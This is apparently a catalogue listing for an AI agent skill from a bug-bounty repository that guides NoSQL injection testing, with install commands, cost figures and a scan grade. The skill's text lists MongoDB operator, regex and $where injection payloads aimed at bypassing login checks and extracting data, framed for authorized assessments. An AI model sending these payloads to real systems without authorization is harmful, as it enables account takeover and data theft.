nosql

nosql is a skill for Claude Code, Codex from sanjaysaini1952/BugBounty-Arsenal. It costs 0 tokens per session (175 once invoked), scanned A, original, MIT.

A security-testing guide for finding injection weaknesses in databases that do not use fixed table structures, such as MongoDB.

In plain words
What is it for?
Testing NoSQL-based login forms and query parameters during authorized security assessments, then reporting suspected authentication bypasses or data leaks.
Why use it?
It helps identify login or query handling that accepts specially formed input and may allow unauthorized access or data exposure.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Testing NoSQL-based login forms and query parameters during authorized security assessments, then reporting suspected authentication bypasses or data leaks.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/sanjaysaini1952/bugbounty-arsenal/nosql
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add sanjaysaini1952/BugBounty-Arsenal --skill nosql
Clone the repo
git clone --depth 1 https://github.com/sanjaysaini1952/BugBounty-Arsenal

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for nosql

README.md
[![agentmods](https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/nosql/github.svg)](https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/nosql)
Your own site
<a href="https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/nosql"><img src="https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/nosql/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for nosql

Your own site · 80×15
<a href="https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/nosql"><img src="https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/nosql.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 0 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 175 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00000 $0.00175
Opus 5 $0.00000 $0.00088
Sonnet 5 $0.00000 $0.00035
Haiku 4.5 $0.00000 $0.00017

Measured 12d ago against content hash a7a4fc2e4760, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

nosql scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/hunting/nosql/SKILL.md · 24 lines

What it actually says

NoSQL Injection Hunting Skill — 3 Test Cases

Load when: NoSQL, MongoDB, CouchDB, injection.

256. MongoDB operator injection (easy)

Send {"username":"admin","password":{"$ne":""}} in login. Report auth bypass.

257. MongoDB regex injection (easy)

Send {"username":{"$regex":".*"}} in login. Report data extraction.

258. MongoDB $where injection (medium)

Send {"$where":"this.password == 'pass'"} in query. Report if JavaScript execution is possible.


NoSQL Injection Payloads

{"$ne": null}
{"$gt": ""}
{"$regex": ".*"}
{"$where": "this.password == 'pass'"}
{"$exists": true}
Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 12d ago First seen · 24 lines · 0 tokens per session scan A a7a4fc2e4760

Subscribe to this mod's changes

nosql is a skill published in the GitHub repository sanjaysaini1952/BugBounty-Arsenal (2 stars, last pushed 1mo ago), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 175 tokens. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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